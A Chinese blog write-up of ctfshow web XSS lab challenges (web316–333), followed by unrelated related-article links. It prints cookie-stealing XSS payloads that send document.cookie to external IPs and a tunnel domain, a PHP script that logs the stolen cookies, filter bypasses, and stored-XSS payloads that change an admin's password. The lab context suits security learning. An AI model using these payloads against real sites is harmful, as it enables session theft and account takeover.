额,怎么说呢,对xss理解不深刻,虽然做了XSS-LAB,但是感觉不会用,看了群主的视频,知道了原因,用群主的话来说就是,X的是自己。。。

这个文章写得比较潦草。。。

准备一个带nc的工具;

无vps

"""

牛啊牛啊!群主之前发了一个无公网IP反弹shell的视频,学到了学到了,牛啊牛啊。太牛了,群主顶呱呱。

"""

这里以web321做一个例子:

准备:kali虚拟机,花生壳

先进行穿透,接着测试一下本地能不能连通什么的。我虚拟机的虚拟网卡需要重启一下才能够连通虚拟机。如果本地不能连通,那么就反弹不了。当然这里不需要反弹shell,只需要外带就行。

先进行本地测试:windows(本机)curl 域名,kali侦听8181端口(穿透哪个端口,就侦听哪一个)

可以看到kali能够接受到windows这边的请求。

接着就可以在题目中进行外带cookie了:

这就外带成功了。大师傅牛啊牛啊。

这种方式外带,需要等10秒

有vps就不多说了,看一看防火墙开端口,或者是安全组开端口没,关闭防火墙之后也可能别安全组挡下来(又有的叫安全策略组,叫法无所谓)。

再看看nc工具是不是需要更新一下(加一个--v参数,如果指定的参数和显示的参数不一样,就说明nc有点小毛病了)。或者是多重启几次。。。

我之前能踩的坑都踩了一遍,一天下来一个题都没做。xss全是x的自己,呜呜呜。

搜寻一波能够XSS的先

外带

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script> <script>location.href='http://118.31.168.198:39543/'+document.cookie</script> <script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script> <input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)"> <iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe> <body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

web 316

需要生成链接,拿到管理员的cookie;提交构造的连接,后台bot每隔10S会点击一次链接。

要注意,拿cookie要拿管理员的cookie,或者说是拿后台bot的cookie,而不是拿自己的cookie;

按照上面的那个步骤做就好了

web 317

说的是过滤了xss,所以只能够用自己的vps了

web 320

过滤空格

用tab代替,在hackbar中写入%09,利用hackbar进行urldecode

用/**/代替

web 321

不知道过滤了啥

paylaod:

<body	onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

web 322

不知道过滤了啥,同上

web 323-6

<body/**/onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

感觉是,姿势越骚,越不容易被过滤

看了一下,Y4爷的博客,

324过滤;

325过滤.,?但是没有感觉喃?

web 327

存储型xss;发送者和接受者都用的admin,剩余的随便,内容是:<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

拿到了flag,但是怎么就拿到了呢???

看了视频,大师傅说的是,发送者是admin就行了

web 328

在本地,不知道为啥nc拿不到数据了,所以采用写接受脚本的方式来接受cookie

<?php
$data=$_GET['data'];
$myfile=fopen('xss_flag.txt',"w") or die("unable to open file!");
fwrite($myfile,$data);
echo "done";
?>

唔,按理来讲,将花生壳的端口修改为80端口(kali用的是PHP7.3和Apache),也能够接受信息,但是虚拟机出了点问题,所以就用了vps;脚本还是不变;

解题:

注册用户名随便设置:

密码如下:

<body onload="window.open('http://121.41.2.26/x.php?data=/'+document.cookie)"></body>

或者

<script>window.location.href='http://121.41.2.26/x.php?data='+document.cookie</script>

接着登录:查看xss_flag.txt,拿到admin的cookie

将cookie修改为admin的cookie

开启抓包,刷新界面,一步一步forward,即可看到flag

web 329

不会,思路是:执行js代码,实现页面内容的外带

web 330

想的是登录管理员的账号,由于没有密码

思路是:修改管理员密码,以管理员身份进行登录

解题:

注册:

账户名为<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>

密码:1

接着用账户<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>登录一次,登出;

登录管理员账号:admin 密码:3(抓包防止跳转)

web 331

试了一下账号密码等地方的注入,都不行,所以抓包看一下,发现是利用post方式进行已交,那么就构造post提交的的方式。

大师傅是构造的:(从源代码中的js文件中找到的一个ajax提交)

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

bfengj师傅利用js发送了一个http请求:

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

web 332

登录检查一遍,发现是post传参,所以依旧似是用331的payload来进行了一次提交,结果不行。于是看了大师傅的视频。

???转账-10000

随便注册登录一下,接着在转账界面,收款用户是admin,然后付款-10000,接着购买

web 333

盲猜是转账加过滤了332的情况。

注册账户:12,密码随便

注册账户: <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>,密码随便

随后登录账户12,即可购买flag。

/api/amount.php <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>

总结

虽然说题是做完了,同样也了解了反射型和存储型XSS的攻击方式。反射型是生成了链接同时被后台点击,存储型这里就不太清楚了,感觉是生成了被反复执行的代码存放到了后台。同时每一次访问该界面就会触发一次。

因为做题时是看的大师傅的视频和bfengj师傅的博客,学习到了很多。

同时也被两位师傅的技术栈给震撼到。一路过来都是看的各种师傅们的博客,在做题的时候也学习到了各种方法。

所以有事没事,看看ctfshow

ctfshow_web入门 xss的更多相关文章

  1. 初级安全入门——XSS注入的原理与利用

    XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...

  2. XSS扫盲到漏洞挖掘上手

    复习xss ,也总结一下XSS基础的点到进阶的知识  目录 0x01 XSS扫盲入门 0x02 XSS payload构造 0x03 XSS payload变形进阶   0x01 XSS扫盲入门 XS ...

  3. web安全相关知识

    xss攻击入门 XSS攻击及防御 XSS的原理分析与解剖 浅谈CSRF攻击方式 利用HTTP-only Cookie缓解XSS之痛 SERVLET 2.5为COOKIE配置HTTPONLY属性 coo ...

  4. 你所不知道的 CSS 阴影技巧与细节 滚动视差?CSS 不在话下 神奇的选择器 :focus-within 当角色转换为面试官之后 NPOI 教程 - 3.2 打印相关设置 前端XSS相关整理 委托入门案例

    你所不知道的 CSS 阴影技巧与细节   关于 CSS 阴影,之前已经有写过一篇,box-shadow 与 filter:drop-shadow 详解及奇技淫巧,介绍了一些关于 box-shadow  ...

  5. 【Web安全入门】三个技巧教你玩转XSS漏洞

    XSS漏洞是Web应用程序中最常见的漏洞之一,想要入门Web安全的小伙伴,这个知识点是必学的. i春秋官网中有很多关于XSS漏洞的课程,新手小白可以去官网看课学习. 学习地址:https://www. ...

  6. Web安全之XSS 入门与介绍

    XSS的入门与介绍 跨站攻击 XSS全称跨站脚本(Cross Site Scripting),一种注入式攻击方式. XSS成因 对于用户输入没有严格控制而直接输出到页面 对非预期输入的信任 XSS的危 ...

  7. xss攻击入门

    xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意 ...

  8. Web安全入门笔记-XSS

    windows 10 360浏览器 0x00.概述 1.什么是 XSS Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击.攻击者通过在目标网站上注入恶意脚本,使 ...

  9. [前端web安全]XSS漏洞基础入门

    前言 XSS漏洞 Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS ...

  10. 【第三篇】ASP.NET MVC快速入门之安全策略(MVC5+EF6)

    目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...

随机推荐

  1. gcc和g++,c和cpp

    gcc对.c文件当成c处理,把.cpp文件当成c++处理 g++对.c和.cpp都当成c++处理 小心会遇到错误

  2. day17 MySQL的安装 & 数据库基本语法——增删改查

    day17 MySQL 登录数据库 mysql -h localhost -P 3307 -u root -p 查看所有数据库 show databases; 退出数据库 exit; //现有表格 u ...

  3. 批量删除多个相同格式内容的Excel表格的列

    Sub Del_Col()Application.DisplayAlerts = FalseDim myFiles As StringDim myExcels As StringWith Applic ...

  4. Java/JDK各版本主要特性汇总

    目录 Java18(2022.3) Java17(2021.9)(LTS版本) Java16(2021.3) Java15(2020.9) Java14(2020.3) Java13(2019.9) ...

  5. 玩 ChatGPT 的正确姿势「GitHub 热点速览 v.22.49」

    火了一周的 ChatGPT,HG 不允许还有小伙伴不知道这个东西是什么?简单来说就是,你可以让它扮演任何事物,据说已经有人用它开始了颜色文学创作.因为它太火了,所以,本周特推在几十个带有"c ...

  6. codeforce E - Binary Inversions题解

    题目: 给你一个01串,现在你可以(或者不用)选取其中一个元素进行一次反转操作0-1,1-0:从而使得串中的逆序对个数最多. 题目链接:codeforce origin problem 思路: 1. ...

  7. 【转载】SQL Server FileStream 体验

    FileStream是SQL Server 2008提供的新特性,之前附件在SQL的存储一种是直接放数据库,一种是存储一个路径,附件单独放在磁盘上.前一种方法会使数据库空间更快变大,而且读写占用较多数 ...

  8. 学习.NET MAUI Blazor(四)、路由

    Web应用程序的可以通过URL将多个页面串联起来,并且可以互相跳转.Web应用主要是使用a标签或者是服务端redirect来跳转.而现在流行的单页应用程序 (SPA) ,则通过路由(Router)来实 ...

  9. 2022USACO-DEC-Silver

    题目链接 T1.Barn Tree T2.Circular Barn T3.Range Reconstruction T1 下面均以\(1\)为根来进行分析. 算法思路: 首先,定义一个数组dis表示 ...

  10. Java进阶篇——设计模式

    设计模式 一.代理模式 使用代理类对真实对象进行代理,包括真实对象方法的调用.功能的扩展等.访问的时候也只能访问到代理对象,既保护了真实对象同时可以在原始对象上进行扩展.类似于中介在卖家和买家之间的角 ...